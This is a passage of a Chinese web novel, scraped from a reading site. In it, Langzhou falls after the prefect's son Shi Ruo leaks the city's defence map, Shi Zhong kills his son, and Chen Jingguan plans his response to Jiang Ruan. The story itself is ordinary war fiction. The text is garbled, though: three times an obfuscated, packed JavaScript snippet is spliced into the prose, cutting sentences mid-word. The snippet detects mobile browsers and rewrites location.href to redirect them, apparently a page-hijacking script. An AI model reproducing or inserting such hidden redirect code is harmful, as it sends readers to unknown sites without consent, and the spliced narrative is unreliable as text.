夜半时分,史如一路疾跑从廊州城门往家赶,史忠看见他的时候只瞧见他脸上涕泗交加,他冲进府衙的时候左手握着剑,鲜血淅淅沥沥淋了一路,即使是站在史忠面前也依旧在微微发抖。 “再等等,快报送出去三日了,崔将军应该快到了。” 史忠的话越说越无力,他知道这不过是他在自我安慰。 当初陈京观在朔州打那一仗的时候他日夜守在府衙,就等着阙州的消息然后派兵去支援,可最后他等到的是陈京观的死讯。 他在内心责备了自己一遍又一遍,问自己为什么不能如同陈京观一样无所畏惧一些,可他是史忠,不是陈京观。 说来史忠还没见过这个年轻人,他来廊州日子不长,却为廊州做了件大事,史忠这辈子第一次犹豫,就是在状告陈京观的这件事上。 他觉得自己没错,陈京观的确私开粮仓了,可这世上除了陈京观还有谁会这么做,他只是做了史忠不敢做的事情。 只是他没想到,陈京观就这么死在了自己人手里,史忠那一刻想到了陈频。 那之后没过多久,阙州传了军令升任崔擎舟做大将军,统领南魏全部军队抗击东亭,崇宁在颁布征兵令的同时把廊州的守军调了回去。 史忠知道她害怕了。 崇州失守,南魏的屯兵数量大打折扣,如今又折了陈京观,东亭如果想要直取阙州也未尝不可。 但与崇州接壤的不止阙州一个,廊州和崇州也连在一块。 史忠那时候就生出一个可怕的猜想,他觉得廊州要保不住了。这猜想越来越真实,他给阙州去了一封信说明情况,结果等来的是东亭的军队。 过去的三天,是史忠这辈子过得最漫长的三天,连天烟尘熏黑了半座城,他耳边嘶喊声和刀剑的碰撞,他做了一辈子文臣,可到最后他却去铁匠铺买了一把刀,他险些没拿住。 那时候他才知道陈频当日有多厉害,他不仅只身犯险,还给南魏搏来了一线生机。 战争打响的第一天,史忠咽着口水提着刀,叫来了自家所有守卫,命令廊州城所有适龄男子一律参军,他花自己的钱为军队置办粮饷,他把他能做的一切都做了。 就连他那个肩不能提手不能扛,从小保命都不容易的小儿子史如,也去选了一把旧制长剑,他嬉笑说别的他拿不动,还是剑更适合南魏人。 就这样廊州的战争成了一场自卫战,城里的人用身躯堵住大门保护家人,城外的人用身躯冲撞着只为拼个前程。 “爹,他们真的会来吗?” 史若从侧厅出来,他近些日经常看不见人,史忠忙得脚不沾地也没空管他,此刻望见他一脸颓靡的样子,少有的生了气。 “来不来我们都不能等死,你爹我做了半辈子廊州知州,我就是死也要守住城门。” 史忠说着又要去拿桌上的刀,史若跑过去一把抱住史忠的腿,他哭得上气不接下气,史忠也终于是软了性子。 “你若怕就呆在家里,爹能活,绝不让你们死。” 史忠没有责备史若,他甚至用手抚摸着史若的头。面对这突如其来的亲昵动作,史若却突然开始大笑,他松开史忠站起来,史忠狐疑地瞧着他,稍稍往后退了一步。 “爹,您胆小怕事了一辈子,怎么到如今反而不怕了?” 史若脸上还挂着眼泪,他嘴角微微抽搐,眼神迷离,一步步朝后退着。 “您从小教我和史如审时度势,让我养成了谨小慎微的性子,就好像只要我们一直委曲求全别人就能放过我们。爹,东亭放过我们了吗?朝廷,放过我们了吗?” 史若的话如同此时在城门口不停响起的撞击声,一下一下砸在史忠心上,他下意识握紧手里的刀,一动不动地看着史若。 “还有你,”史若转头看着史如,“过去小二十年你除了读书还会做什么,现在逞什么英雄?你不会真的觉得你和陈京观一样吧,就因为他高看了你一眼?史如,你自己是什么东西你自己不知道?” “史若!” 还没等史如说话,史忠已经出声严厉训斥道,“他是你弟弟!” 史若轻笑一声,“是吗?可我不记得我娘喝过他娘的茶,他娘连个妾室都算不上。” “嘭”,史如的剑应声落地,他低着头不敢看史忠,他尝试大口呼吸,却依旧觉得自己的胸口压了块石头。 “爹,我记得我小时候您还不是知州,您也没有这么死板,您是从什么时候变了?好像,就是从您私会歌妓有了史如开始,对吗?” 史若眉眼微挑,他嘴角噙着笑,毫不避讳地继续说:“从那时候起,您整天担心事情败露,于是做什么都先考虑自己的名声,毕竟朝廷命官出入烟花场所,这放在南魏必是要断了您的官路的。” 史忠一个趔趄险些摔倒,他用手里的刀撑住自己,他听到史若的声音弱了下来,略带哭腔,“是,您不喜欢我,于是您让那个歌妓生下了他,甚至把他抱回来给我娘养,你就是为了恶心我们。” 听着史若的话,史如的双脚慢慢没了力气,他滑落在地上,脸上早就泥泞一片,史若看着他这副样子笑了,他缓缓闭上眼,“没过多久我母亲就死了,那天晚上我和此时的他一样绝望。我是不如他聪明,无论学识还是心智都比不过他,可父亲,我娘没做错什么,她到最后都是因为爱而不得死的。” “我一直爱她。” 史忠此话一出,让原本冷静下来的史若突然爆发,他冲上前揪住史忠的衣领,史如要来拦,却被史若一把推开。 “爱?你不过是贪图她家有些钱财,能为你出一笔不小的银子,你屡战屡败后突然中第,当真是你的本事吗?” 史若的气息扑在史忠脸上,史忠只觉得让人戳中了心肺,他面色涨红,整个颤动着立在原地。 “如今你守了一辈子的南魏不要你了,感觉怎么样?” 史若松开了手上的动作,他微微低头盯着史忠的眼睛,史忠像是突然意识到了什么,可下一秒史若就退后一步避开了他的手。 “廊州的城防图,是你给东亭的?” 一旁的史如也猛地抬头,此时史若看着眼前的两个人愁云满面,他突然觉得好爽,一个是人人称赞沉稳的弟弟,一个是号称铁面无私的父亲,这样两个光风霁月的人,被他溅了一身血。 “为什么?” 史忠不死心地继续追问,虽然他此刻已经快要被自己的呼吸压垮了。 “我想让所有人都看清你们的真面目,我想让你们所有人都去给我母亲陪葬。” 史若至今都记得,他娘抱着史如走在街上的时候每一个人都鄙夷地看着他们,他还能想到那些人嘴里的话。 “靠生孩子都留不住男人,外面生的都比她生的好。” “我瞧着那位快要升任知州了,到时候不知道要在屋里头塞多少见不得人的美妾。” “他也是有本事,算是我们廊州出来的第一个大官。” 凭什么? 史若那时候满脑子只有一句话,凭什么? 犯错的明明是史忠,凭什么要母亲和他承受这一切?凭什么到他那是歌功颂德,到了母亲这就是奚落嘲讽? 这里没有一个好人。 之后这十多年,每次史若听到旁人夸赞的父亲时,他总是一笑而过,他从来不为母亲辩驳,也不会逢迎旁人对父亲的夸赞,他在等,他要等所有人都笑不出来的那天,他要让所有人都闭上嘴。 于是他等到了江阮。 汪恕的情报兵前脚踏上廊州,江阮的谍子就找上了史若。江阮看得出汪恕打算用南魏换北梁的生机,他对此并不在乎,对他而言无论是谁死,只要这仗停不下来就好。 史若接到江阮那封信的时候,他双手颤栗着,他分不清自己是高兴还是害怕,他知道江阮一定有能力实现他的愿望,而他也一定会死。 可过了这个村没这个店了,史若苦笑了一声,应下了谍子的话,他应承十日内将廊州布防图亲手交给汪恕。 那天夜晚,他一袭黑衣从崇州路过,他原以为崇州被江阮夺取后应该是一副民不聊生的景象,可他看到的却是一派祥和。 史若望着眼前的一切,突然有些犹豫,万一江阮也这样对待廊州呢?他不想让那些人好过。 而江阮好似听得见史若的心声,那个专门等在泯川江旁的船夫送来了江阮的消息,东亭军会用武力拿下廊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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闻言,史若的步子停下了,侍卫走了几步发现后面的人没跟上来,回过头看他。 “怎么,已经打算放弃了?” 史若摇头,却依旧没有动。那侍卫脸上的表情自始没有变过,他看着史若,缓缓开口道:“廊州我们一定会拿下来,不同的只是要不要顺便如了你的愿。” “江阮能得到什么?” 侍卫听到江阮的名字后微微压低眉眼,他朝史若走过来,贴在他的耳边,“所有知道他秘密的人都死了,无一例外,所以我不敢知道。” 史若的身子一震,他朝后退了半步,努力压抑住自己起伏不定的胸腔,那侍卫瞥了他一眼,“走吗?” 那天史若在汪恕的书房等了一个多时辰,直到日头西落,直到他能隐约闻到厨房里饭菜的香味。那扇门打开了,汪恕一边走一边将自己沾了血的外衣脱下。 “等我换件衣服。” 汪恕说话时没有理会史若,可史若却被眼前的场景吓到了。汪恕背上那条口子像是能让人伸手摸到他的脊骨,史若撇过头咽了咽口水,只听汪恕轻笑一声,走到了他面前。 “十天之后,我可能会受更重的伤,也可能会死,甚至死在你面前。” 史若不敢看汪恕,他从里衣拿出已经皱巴巴的布防图,递过去的时候汪恕扶住了他颤抖的手。 “十天,够你们做计划了,也够你逃命了。” 汪恕说着绕回了书桌,他甚至没看那张布防图,只将它丢在了一边。他提着毛笔在纸上写着什么,史若想凑过去看,犹豫了片刻又止住了动作。 “本来就是给你的,想看就看。” 汪恕低着头继续写字,他的字不算好看但称得上工整,最后落笔的时候史若甚至看到了他随心留下的那一捺。 “十日后夜半,我会领着全部东亭军从崇州过境攻打廊州,在此之前我们不会有任何动作,你父亲也不会听到任何风声,所以那一城人能不能活就看你了。” 史若接过了那封信,他的拇指与未干透的墨汁相接触,那一刻他觉得自己已经留下了证据。 “我等你。” 汪恕抬起头没有看史若,他径直从眼前人身边走过,“那时若你父亲没有杀你,我也会杀了你。” 史若“嗯”了一声,汪恕听到他小声说了一句,“他又不是没杀过人,我娘就是他杀的。” 汪恕没有再说话,他转身朝自己的卧房走去,史若道了一声“告退”,趁着夜色消失在了廊州城。 那一刻他们都看到彼此的未来。 109.陈春杳杳(六) “那你应该直接杀了我。你娘的死关着廊州城的百姓何事?” 史忠的呵斥声将史若从恍惚中拉回现实,他喉头震颤,脸上浮出一丝难以置信,他摇着头慢慢朝后退,像是看到了什么很可怕的东西。 “所以你直到现在都不知道她为何而死吗?” 史忠没有回答,史若发出一声冷笑后站住了脚。 “她是小门小户不假,可她从小受得也是三从四德的教导,她的丈夫在外面有了别人,甚至抱了个孩子来给她养,” 史若的眼泪顺着脸颊滑落,他尝到了心底的酸楚,“是,你对她依旧如常,甚至比以前更好,可那是愧疚,不是爱。她每次起夜给史如喂奶的时候,她都能想到你曾在另一个女人身上翻云覆雨。” 史忠的脸色更加难看,但是他没有打断史若的话,史若顿了一下继续道:“若只是如此,只凭她懦弱的性格一定会忍气吞声,可外面人的嘴你管不住,他们认你是知州,而在他们眼里我娘就是你的弃妇。” 听到这,史忠手里的刀猛然滑落,不知何时他的脸上也布满泪水,他回想着脑海里早已模糊的记忆,试图找到一些能印证史若所说事实的话。他发现,这廊州城没人和他说真话。 在他的记忆里,那些登门来访的人并没有因为史如的出现而薄待他,也没有因此对他冷嘲热讽,可他突然意识到,他从来没有关心过自己的夫人是何等处境。 他将史如抱回家的时候,对外宣称他是自己兄弟家的过继来的孩子,他以为这就能把一切掩盖过去。 没成想,他编造的谎言在旁人眼里不堪一击,甚至因为他的遮遮掩掩,他们将一切罪过推给了他的夫人,宋隽。 “你每次中秋进京赴宴,那段日子就是我娘最难受的时候。你离开了,那些人的言行就更加肆无忌惮,他们会隔着院墙唱一些勾栏软曲,他们会指着史如说真像你,他们会小声议论若你休了我娘,他们能用几两银子娶到她。这些,你真的都不知道吗?” 史若抬起头试图寻找史忠的目光,却发现眼前的人早已经瘫软在了地上,史忠像是一时间失去了力气,他只觉得脑袋发懵,耳边是史若一遍又一遍问着他。 “你真的不知道吗?” 史若的问题出来的那一刻,史忠发现自己其实是有所察觉的。 那段时间宋隽不爱出门了,她原本是最喜欢上街的;那段时间宋隽经常生病,史忠以为是照看孩子太累,他甚至想到给史如找个乳母,却没想到问一问宋隽,你怎么了。 我爱过她吗?史忠被自己问得哑口无言。或许史若真的说对了,宋隽是个很好的妻子,所以史忠喜欢她。 他喜欢的是那个很好的妻子,而不是宋隽。 “算了,如今说这些没用了,”史若长叹一口气,“你知道阙州不会派援兵,他们如今正在加紧练兵企图保下阙州,那些尸位素餐的蠢货根本没想过别人的死活。” 史忠眼神闪烁了一瞬,他努力撑起身子站起来,又弯腰把刀捡了起来。 “可你还是不该这么做。” 史忠的话听起来很苍白,史若愣了一下突然笑了。 “那你杀了我吧。” 说罢,史若闭上双眼,他一步一步走向史忠,脸上甚至露出一抹笑。史忠握着刀的手抖动不止,他觉得自己根本举不起这把刀。 “小若,对不起。” 史忠的嘴颤抖着,“你娘的死的确是因为我,我不是个好夫君,我也不是个好父亲,我甚至不是个好人。可史若,你能不能带着你弟弟跑?他们会放过你的对不对?” 史忠话音刚落,史若突然爆发出一声大笑,紧接着他冲向倒在地上的史如,一手抄着剑,另一手像提溜猫一样抓着史如的衣领。 “且不说我能不能活,你怎么敢让我带他走的?” 说着史若就要用剑刺向史如,可他的手还没碰到史如,他突然觉得腹腔有一股暖流涌出,他停顿片刻朝身下望去,那个血窟窿如同那一晚他看到的泯川江一般奔流不息。 “你为了他,杀我?史忠,你要是为了廊州城的百姓我都敬你。” 史若的喉咙被血水堵住,他手一松,史如失了力重重地摔在了地上,这次史忠没有先去看史如,而是不管史若如何推脱,他都死死抱着史若。 “对不起,对不起……” 史忠的眼泪落到了史若的脸上,史若微微仰头看到了史忠的胡须竟也有三分白色。 “他不是我的孩子。” 起初史若还没反应过来史忠在说什么,后来他只觉得脑袋炸开了,所有的仇恨和史忠这句话一起炸开了。 “他娘是我少时邻居家的妹妹,我真的只将她当作妹妹。那年廊州大旱,她家因为交不起粮税被收了地,他爹卖了两个女儿,我眼睁睁看着她被老鸨带走了。” 史忠的声音像是随着史若身体的温度一起流逝,史若此刻躺在他怀里不哭也不闹,他甚至在怀疑自己是不是已经死了,怎么会听到这样一个故事。 “后来我应崇州知州的邀请去参加泯川三界游船,看到红楼的招牌上写着她的名字。我问老鸨我要怎么才能见到她,那老鸨嗤笑了一声,说她大着肚子没人要,一两银子就成。” 史忠感觉自己的嗓子被东西糊住了,他努力呼吸却依旧感觉生命在从他身体里抽离。 “我出钱赎走了她,给她在崇州置办了个小院,可她已经离不开人了。她明明是个歌妓,却怀了孩子,旁人一想就能知道发生了什么。她看着自己日渐隆起的肚子,她试过好多办法打掉他,可那孩子命硬,硬是让她怀到了足月。我给她找了接生婆,一夜之后史如就出生了。” 史忠说着,抬头看了看眼前目光呆滞的史如。这些话他没给任何人说过,包括史如,他知道比起当个歌妓的私生子,当知州的私生子史如会更好过些。 “孩子生下来了,她看着怀里的小东西却哭了,她身子还流着血,她跪在地上求我收她做妾,她只想让这个孩子活下去。”史忠一顿,“可她不该成为我的妾室,孩子不该是束住她的锁链。我抱走了孩子,放走了她。” 史忠感觉自己怀里的人沉了些,他知道史若死了。他希望史若听到他最后这句话了,可听到又能如何,自己害死了他母亲,史若说得没错。 史忠喉咙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15132448|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一哽,硬生生将嗓子里的呜咽咽了下去,他横抱着史若进了他的卧房,给他换了身干净的衣服,替他将被子掖好,史若躺在床上就像是睡着了一般。 “你先去,我会下去给你母亲赔罪的。” 史忠声音嘶哑,他缓缓退出房门,走之前还给屋子上了一把锁。 “小如。” 史忠轻声唤着史如,史如像是入定了一般呆愣在原地。 “我从他卧房里找到的,你拿着这封信说不定崇州会放你进去。” 史忠把手上的信塞到史如怀里,他要收手的时候史如攥紧了他的胳膊。 “您为了我,杀了自己的亲儿子。” 史如神色间全是愧疚和恍惚,他的眼神左右游移,几次张嘴却说不出话。史忠笑着拍了拍他的肩膀,“我是为了廊州城的百姓杀了他。” “可为何是他要杀我的时候?” 史忠像是预料到了史如会这样问,他伸手将史如扶起来,拍掉了他身上的土。 “虽说今日之事因他而起,可他还没亲手杀过人。佛陀说杀人者不入轮回,我想让他再见一见他的母亲。” 其实史忠说的时候自己也不信,史若身上已经背了成百上千条命了,早就不多史如一个,可他不想让史若的手沾上血,尤其知道了过去的一切之后。 史若是不如史如聪明,可比起这样卓越的史如,史忠明白史若才是自己真正的孩子,自己和史若一样平庸。 史忠从来没有觉得史若不好过,他只希望史若能平平顺顺地过完一生,就当个普通人就好。 可史若对史忠的印象早就变了。宋隽死后史忠所做的一切事情史若都认为是错的,他总能从中解读出史忠的懦弱,呆板,冷血。 史忠谁也怪不了,他只怪自己明明没有爱人的能力却娶了宋隽,最后辜负了她。可他也不后悔,若史如的母亲被留在红楼,或许某个午夜那里就会抬出一小一大两具尸体。 就这样吧,史忠长叹一口气,他望着史如,伸手扶住了他的肩膀。 “你还认他是你兄长吗?” 史如点头,史忠嘴角勾出笑容,“那我们就去替他赎罪,替他给廊州城的百姓再尽一份力。” 史忠刚要往前走,他的手心被塞进来一个温热的东西,他回头,史如拉住了他,怯生生地望着他。 “爹,我娘叫什么?” 史忠方才的话里刻意隐去了那个女子的姓名,可史如比他想象的还要敏感,史忠回握住史如的手,启声道:“明戚,‘我心戚戚’的戚。” 史如嘴里念了一遍,又听到史忠说:“我本不希望任何人知道她的这段人生,包括你。” 史如身子一震,眼泪在眼窝里转了又转,他咬着牙应了一声,然后松开史忠的手去捡起了地上的剑。 “我会下去给母亲和兄长赔罪的。在此之前,我会和廊州一起拼到最后一刻。” 史忠离开府衙的时候又回头望了一眼史若所在的方向,他将大门紧闭,又给门上上了锁,他希望史若死得安宁一些。 既然死了,那就等着轮回去个好人家吧,兄友弟恭,母慈子孝。 110.陈春杳杳(七) “廊州……” 另一边,距离史忠之死相隔十日后,陈京观收到了廊州沦陷的消息。他心里其实早就有所预料,他死后崇宁调走了廊州的守军,廊州是送到江阮嘴边的肉。 只是他此刻看着手上的情报,除却方才谍子所说的,最下面还有一行字:廊州知州史忠,其子史如,悬于廊州城门示众。 陈京观握着那薄薄的一张纸,险些要将它撕碎。 这何尝不是另一种形式的京观? 果然,江阮最懂得如何刺激陈京观。 “我想去给他收尸。” 陈京观的话如同投掷在深海里的石子,周围的所有人都没有回应他,只听他继续道:“这件事只有我能做。” 一旁的沁格沉默着,苏清晓谨慎地抬头看了她一眼,他知道陈京观这句话其实是说给沁格听的,毕竟陈京观如今身家性命都靠在西芥身上,他想做的一切都得依靠西芥的力量。 只是陈京观此时回去无疑是自投罗网,他这一去,不仅可能要赔上自己的命,更是将沁格为他所做的一切都连带着当了赌注。 他要是死了,其他人也就都白死了。 眼前的陈京观好似还是以前那个意气用事的年轻人,他无畏又冲动,用自己心中的正义支撑着自己。 可是沁格没有表露出苏清晓想象中的愤怒,她淡然地看着陈京观,又侧过身子看了看乌木禾,开口道:“你也赞成他去吗?” 乌木禾没说话,陈京观感觉周遭所有眼睛都聚焦在了他身上,那灼灼目光好似要将他炼化,成为一潭死水。 “哥,你回去之后他就知道你还活着了。” “他本来就知道。” 陈京观的话不假思索,几乎是脱口而出的程度,乌木禾眉间慢慢显出一片阴云,苏清晓倒是缓了神色。 陈京观见其他人不说话,解释道:“江阮用和平的方式占领崇州,却让温书让成了唯一的死人。他在逼我出兵,他在告诉我崇州不是意外,如果我继续等下去他就会杀更多人,所以即使我没有万全的准备我也必须沿着他的路走,因为我根本不可能在他的注视下跳脱出他为我量身定做的圈套。那时候我没有其他选择了,我的等待只会让他增加更多诱饵。” “他知道我过去的一切,他清楚我的底牌。我从雍州出来的那一天起,这场失败就是注定的。” 故事的开始,陈京观就活在江阮的视线里,甚至他到现在都不知道他的那些决定有多少是江阮安排好的,他经历的那些幸运和不幸又有多少是江阮精心为他挑选的。 陈京观原本拥有陈频给他的一手好牌,可江阮悄无声息地早于他看到了一切,于是江阮重新设计了游戏,将陈京观的每一步都做好了预演,看着他一步步走向死亡。 一场不对等的牌局,输赢都写在开牌的那一瞬间。 “以前我不理解江阮为什么紧咬着我不放,后来我意识到了,我其实是他计划中唯一的意外。” 说到这,陈京观突然发笑,“之前的我一直靠着父亲留给我的庇护活着,他算准了我会为他报仇,却没算准我会成为什么样的人。而就是这突然出现的不可控,同时让江阮怕我有一日会冲破陈频给我设定的路线,长成和他一样的怪物。那时候他就杀不死我了。” “现在他用武力占领廊州,把史忠和史如做成了另一座京观,他还是在逼我出来,他不信我死了。可好笑的是江阮从来不会在一个人身上用两次同样的手段,唯独这次,他找不到新的手段了。”陈京观停顿片刻,“因为他也不知道现在的我成了什么样子,毕竟一无所有的人最深不可测。” 过去陈京观所做的每一件事都是陈频规划好的,而江阮比他更早知道这一切,江阮站在全知视角看着迷茫在大雾中的陈京观,他只要稍微弄出一点动静,陈京观就会沿着他预设的道路走。 江阮捕猎的方式是引诱,可过去那个会上钩的陈京观被江阮亲手杀死了,那个活在陈频计划中的陈京观也死了,此时的陈京观对于江阮来说比第一次见面时还要陌生,他猜不到陈京观想要什么了。 所以江阮迫不及待地要弄出更大的动静来引诱陈京观,他期望陈京观和从前一样回到他的视线里。 此刻江阮那该死的好奇心和说不出口的控制欲占领了他的理智,他的直觉告诉他陈京观还活着,可只要他不出现,他死了的可能性就会一直存在。 江阮第一次如此想要一个确切的答案,陈京观是他活了二十多年唯一寻到的乐趣。 这世界其他人的心思都不干净,而人性里的肮脏江阮最熟悉,所以拿捏这些人对于江阮来说毫无挑战。 只有陈京观最简单,他简直不像是这个利益世界里该存在的人。 江阮受不了被困在自己无端的想象中,他自诩能将天下万物都困于手心,可此时他觉得指缝中溜出去了一个人,那种失控感让他无所适从。 这一切猜想在江阮把史忠悬于城门的一刻得到证实。 这些日子陈京观一直在脑海中复盘江阮的行动逻辑,一开始他陷在江阮为什么要这么做,后来转而去思考江阮是怎么做到的,他发现了江阮同时作为猎人和猎物的身份。 江阮究竟是如何用欲望控制这些人的,陈京观不知道。 只是欲望人人都有,那就意味着每个人都能成为江阮的猎物,只要能先江阮一步发现这些人心里藏着的秘密,他就能同江阮一样看懂这些人,他也就能看懂江阮了。 “至于他为什么转了性子开始残杀百姓,不是还少了个史若吗?照江阮以往的手段,他能顺利打下廊州城应该有史若的功劳。” 这次陈京观还是落在了江阮后面,但是他敏锐地察觉到了史若在其中的作用,也感受到了史若带给江阮的变化。 这是看透江阮的第一步,也是打败他的第一步。 “如果此时我不去回应他,江阮会继续把矛头指向南魏。或许不多日还未等我们打到阙州,这南魏就改姓江了,而他的目的远不止于此。” “可你就是让他知道你还活着又能怎么样?我们现在还不能出兵。” 乌木禾问完,苏清晓看到陈京观嘴角溢出一抹笑。 “我是只存在于他想象中的陈京观。我猜了他这么久,难道不该让他也猜猜我?” 陈京观眼神一暗,露出罕见的狠戾,“在事实成为事实之前,一切都是猜测。只要我没有明确现身,江阮就只能继续猜我是不是还活着,而他又越是觉得我还活着,他就会越兴奋,他就会加紧逼我现身的动作。人一旦乱了心,我不信他真的毫无破绽。” 这一次陈京观想要做一个称职的猎物,他割开手臂放出鲜血,引诱着江阮寻着血腥味来找他,他要江阮追着自己跑,而不是再由江阮牵着鼻子走。 陈京观也是拿准了江阮不到黄河不死心的性格,他就是要吊着江阮。 “那你打算怎么做?你要去收尸又怎么可能不现身?” “我替你去。” 一直在一旁观察的苏清晓突然开口,陈京观看着他,眼神复杂。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138137|146751||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “你我心知肚明,这是最好的办法。我身形与你相似,哪怕江阮认出我是谁,这也只会加重他对你是否还活着的猜测。” 陈京观没有回应,他甚至没敢看苏清晓。方才他言之凿凿地说了那么多,他也早就想好对策了,苏清晓的确就是最好的人选。 只是这次无论谁去都是凶多吉少,陈京观依旧狠不下心。 “你说过你不会再对任何人心软了,那就从我开始吧。” 此刻苏清晓只是静静看着他,脸上若有似无地笑着,陈京观不知道自己该表露什么样的情绪。 过去无数次风险重重,陈京观都宁愿之身犯险,因为他觉得他对别人负不了责,只有他的命是他自己的。 他唯一一次豪赌,是赌萧霖对他的真心,结果他输得一败涂地,整个平远军为此殉葬。 “我陪他去。” 陈京观抬头,不知何时席英站在了苏清晓身边,苏清晓侧过身想要看她,可最后还是停住了动作,“没事,死不了的。” 席英没有接苏清晓的话,她又往前走了一步。 “既然想好了,那就坚定地去做,这句话对我对你都适用。” 陈京观停顿了片刻,走过去搂住了眼前的二人。 “带着他们,活着回来。” …… 在苏清晓和席英离开后,陈京观推说要一个人待一会儿,乌木禾本还要留下问些问题,沁格不由分说地拉他离开了。 等所有人走后,陈京观开始思索自己方才说的话,这是他离开雍州两年来最清醒的时刻,或许是这些日子终于让他有了停下里思考的时间,又或许是他终于跳出了那座围城成了一切的旁观者,陈京观想清楚了很多事情。 可无论如何他还是陈京观,是那个在利弊面前会毫不犹豫选择大义的陈京观,是那个无法对人命漠视以待的陈京观。 这是他永远比不过江阮的地方,陈京观苦笑着,却又好似下定决心一般走到了书桌前,他拿起了桌上的狼毫,写下了“宁渡亲启”。 “见字如面。想必您已经从宗大人处听说了我还活着的消息,我不敢亲口告诉您,我不知道怎么面对您。最初和我一同去雍州的人都死了,我却发现他们死得毫无意义,他们短暂的存在后走向了注定的死亡。如果我没有拉他们入伙,是不是死的人就只有我一个。” “您和父亲从小教导我人要真诚,要善良,要心怀家国,可我发现这样的性子在如今的天下根本活不下去。师父,如若有一日我变得面目全非,你会后悔救我吗?” 陈京观握着笔手开始有些颤抖,他停顿了一下继续写到。 “今日来信,是我思虑许久后的结果。我想利用您在广梁的势力保护苏清晓和席英去廊州,想利用宗大人的人脉为他们寻一条生路,你们是我现在为数不多能信任的人了,可我回报不了你们。 “我不知道我所做的一切是否依旧毫无意义,我也不知道这一次结果是否早已注定,我对你们真的只是简单地利用。” 陈京观从来没有做过这样的决定,他从来没有思考过如何将人不作人,如何只是将他们当作达到目的的手段,他觉得这样太残忍了,可他发现要想得偿所愿就必须这样。 利用,欺骗,隐瞒,这些东西没有人教过陈京观,可经历了这么多,他发觉这些才是如今想要立于世的根基。 他改变不了这个世界,而这个世界强硬地规训着他。 “如果只有成为他才能打败他,那我就试一试好了。” 111.伯玉知非(一) “陛下,廊州城上的人被带走了。” 内侍的声音沿着长廊回荡在整个宫殿里,他跪在地上不敢看眼前的人,他摸不透这对江阮来说倒底是好消息还是坏消息。 “来的人看清楚了吗?” 江阮依旧背对着内侍,他听到身后的人支吾着“嗯”了一声,他睁开眼转过身。 “不是他?” “呃,城墙上守着的人只瞧着是两个人,看身形像是一男一女。” 江阮的表情漫不经心,他走过去停在内侍面前,内侍瞧见他的靴子离自己不过十公分。 “他们就眼睁睁看着让人把史忠带走了?”江阮语气中尽是戏谑。 内侍咽了咽口水,“那女子动作极快,身手敏捷,他们还是入夜摸上来的,我们不敢打草惊蛇就没点灯,赶守城的士兵确定那真的是个人,就只看到个留着平整刀口的绳子悬在空中。甚至他们是不是只有两个人我们也不确定,我……啊!” 内侍的话被自己的尖叫压了下去,他的脖颈被踩在江阮脚下,江阮侧过身伏下腰,用余光瞥了一眼内侍。 “姚康手下就是你们这帮酒囊饭袋,怪不得能让我杀得如此轻易。”江阮顿了顿,“记住,那女子叫席英。” 江阮只听到那句“动作极快”就立刻反应过来,来的人是席英,那陈京观真的很有可能活着。 江阮轻声一笑,他脚下的内侍身子止不住地颤抖着,江阮加重了力度,内侍的五官慢慢扭曲起来。 “都不敢来见我了吗,陈京观?” …… 五日前,苏清晓和席英启程前往廊州,他们走的还是他们逃亡时的那条路,一个月时间,目光所及之处只剩下草木枯黄。 这次出发一切从简,跟着的人也多是穆沁格的亲兵,席英几乎什么都没拿,只在她临走时,陈京观看到她提的是她父亲的那把剑。 席英将那剑收起来很久了,可应下这差事的时候,她第一个想到是该让这把剑见一见血了。 他们走后没多久,席英就在路上看到了形色可疑的人,那些人其实隐藏的很好,只是如今的席英风声鹤唳,有一点风吹草动她都不会放过。 不过越往廊州走,她反而越不在意了,她知道这是宁渡派来的人。 那天陈京观写完信后反复看了好些遍,好似要把那些字吞到肚子里,只当它们没有存在过,可日落后他还是遣了人将信送给了宁渡。 那信经过一天一夜的路程送到雍州,宁渡像是猜到了什么,他特意叫来了宗毓庆一起看,两个人看完那封信都说不出话,不知道过了多久,宗毓庆骂了句娘,偏过头长叹一声后跌坐在了木椅上。 “多好的孩子,硬是被这世道逼成这样。” 宁渡没有回应,他小心翼翼将这封信收好放在胸口,只见他转身出门嘱咐了两句,候在门旁的伙计就四散离开了。 背对着宗毓庆的时候,宁渡觉得自己的心抽着疼。 宁渡在雍州做了这么多年生意,要说他手脚真的干净,应当没人会信。他因为家里兄弟姊妹多,母亲从小就将他送到了庙里做洒扫和尚,那里的方丈没收他为徒,却答应给他一碗饭,让他跟着其他人练功。 也是那时候练就的一身本事让宁渡在离开寺庙后获得了马夫的差事,他做活很利索,身上又带着功夫,正适合在不太平的路上送货。 慢慢的宁渡和雍州附近的土匪混成了兄弟,他骨子里的匪气让他很快融进了这些人。有时候宁渡甚至会故意留下些不太显眼的东西,他觉得在这世道劫富济贫也未尝不是一种好出路。 可不知道是不是在庙里住过的缘故,宁渡并不能和其他人一样彻底耽于此,他那些被香灰浸染的日子,让他无法选择这样一条血路。 宁渡一边享受着话本里侠情江湖的快感,可一边又觉得靠烧杀抢掠谋生,自己和那些依附着权贵的寄生虫又有何区别。 就是这时,方荔送给了他一个商行,像是上天拉了他一把,让他不至于在迷茫中误入歧途。 